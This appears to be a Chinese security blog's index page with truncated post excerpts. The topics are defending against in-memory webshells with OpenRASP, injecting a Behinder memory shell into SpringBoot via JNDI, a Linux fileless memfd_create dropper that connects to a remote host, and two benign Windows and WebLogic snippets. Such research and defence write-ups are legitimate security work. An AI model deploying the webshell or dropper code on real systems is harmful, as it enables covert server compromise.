博文

OpenRASP攻防之内存马防御

图片
    “Gartner在2014年提出了应用自我保护技术(RASP)的概念,即将防护引擎嵌入到应用内部,不再依赖外部防护设备。OpenRASP是该技术的开源实现,可以在不依赖请求特征的情况下,准确的识别代码注入、反序列化等应用异常,很好的弥补了传统设备防护滞后的问题。”但是OpenRASP仍有其不足之处。根据测试,OpenRasp无法对内存马进行检测,所以便想对OpenRasp进行二次开发来检测内存马。     根据OpenRasp官网的说明文档,要对OpenRASP二次开发,为Java服务器添加新的hook点大致分为三步,第一步为添加hook点,根据自己的hook点在com.baidu.openrasp.hook包中欧给添加一个继承自AbstractClassHook的类,并实现getType和isClassMatched两个方法进行hook点的匹配,并在hookMethod方法中的内部类的onMethodEnte方法和onMethodExit方法进行hook点前后的逻辑插入,并实现的hook点加入com.baidu.openrasp.transformer.CustomClassTransformer的构造方法中,实现字节码的转换;第二步添加检测类型,在 com.baidu.openrasp.plugin.checker.CheckParameter 中添加相应的检测类型;第三步为构造参数并进入checker,编写hook点中调用的方法,来实现具体的检测逻辑,检测逻辑中可以调用js插件。      通过分析网上weblogic filter内存马的注入代码,发现关键函数为registerFilter,因此可以定义一个hook类,hookMethod匹配该函数,并且该函数的第一、第二、第三个参数分别为filter名称、filter类名、filter的访问url,所以可以将这三个参数传递到要插入到hook点前的代码中,检测代码将这些参数给第三步的自定义checker,checker主要根据这些参数创建详细的告警日志,方便网络安全运维人员后期查看分析、溯源等。       通过分析哥斯拉webshell管理工具的tomcat servlet内存马注入代码和逻辑,发现关键...

SpringBoot注入冰蝎内存马实践

图片
     本文以SpringBoot的jolokia存在jndi 注入为例讲如何向服务器注入冰蝎内存马,环境来自 SpringBootVulExploit 。     首先给下改造好的冰蝎代码 package com.evil; import javax.crypto.Cipher; import javax.crypto.spec.SecretKeySpec; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; import javax.servlet.http.HttpSession; import java.lang.reflect.Method; import java.util.HashMap; import java.util.Map; public class Beh{ public void index(final HttpServletRequest req, final HttpServletResponse resp) { try { if (req.getMethod().equals("POST")) { String k = "e45e329feb5d925b"; // rebeyond HttpSession session = req.getSession(); session.putValue("u", k); Cipher c = Cipher.getInstance("AES"); c.init(2, new SecretKeySpec(k.getBytes(), "AES")); final Map myPageContext = new HashMap (); myPageContext.put("...

如何编程获得weblogic的servername、ListenAddress 、port、version

参考 get-the-name-of-the-server-in-which-i-am-receiving-requests-to-my-app-on-weblogi try { InitialContext ctx = new InitialContext(); String serverName = System.getProperty("weblogic.Name"); MBeanServer server = (MBeanServer)ctx.lookup("java:comp/env/jmx/runtime"); ObjectName objName = new ObjectName("com.bea:Name=" + serverName + ",Type=ServerRuntime"); Integer port = (Integer)server.getAttribute(objName, "ListenPort"); String ListenAddress = (String)server.getAttribute(objName, "ListenAddress"); String WeblogicVersion = (String)server.getAttribute(objName, "WeblogicVersion"); System.out.println("Server Name : " + serverName + "Listen Address : " + ListenAddress + " PORT : " + port + " WeblogicVersion : " + WeblogicVersion); } catch(Exception e) { // }

枚举进程所有文件句柄

    代码来自 Enumerating opened handles from a process ,改了几个小bug      #ifndef UNICODE #define UNICODE #endif #include "stdafx.h" #include <windows.h> #include <stdio.h> #define NT_SUCCESS(x) ((x) >= 0) #define STATUS_INFO_LENGTH_MISMATCH 0xc0000004 #define SystemHandleInformation 16 #define ObjectBasicInformation 0 #define ObjectNameInformation 1 #define ObjectTypeInformation 2 typedef NTSTATUS(NTAPI *_NtQuerySystemInformation)( ULONG SystemInformationClass, PVOID SystemInformation, ULONG SystemInformationLength, PULONG ReturnLength ); typedef NTSTATUS(NTAPI *_NtDuplicateObject)( HANDLE SourceProcessHandle, HANDLE SourceHandle, HANDLE TargetProcessHandle, PHANDLE TargetHandle, ACCESS_MASK DesiredAccess, ULONG Attributes, ULONG Options ); typedef NTSTATUS(NTAPI *_NtQueryObject)( HANDLE ObjectHandle, ULONG ObjectInformationClass, PVOID ObjectInformation, ULONG ObjectInformationLength, PULONG ReturnLength ); typedef struct _U...

linux无文件进程注入

本文是对  Super-Stealthy Droppers 的复现,测试发现代码有些bug,在远程利用时会问题,稍作完善了下。 memfd_create + fexecve  memfd_create需要 kernel 3.17以上,fexecve需要2.3.2以上 #include <stdio.h> #include <stdlib.h> #include <sys/syscall.h> #include <unistd.h> #include <sys/types.h> #include <sys/socket.h> #include <arpa/inet.h> #define __NR_memfd_create  319 #define MFD_CLOEXEC  1 static   inline  int   memfd_create( const   char   *name, unsigned  int   flags) {      return   syscall(__NR_memfd_create, name, flags); } extern  char          **environ; int   main ( int   argc,  char   **argv) {    int                  fd, s;    unsigned  long        addr =  0x010...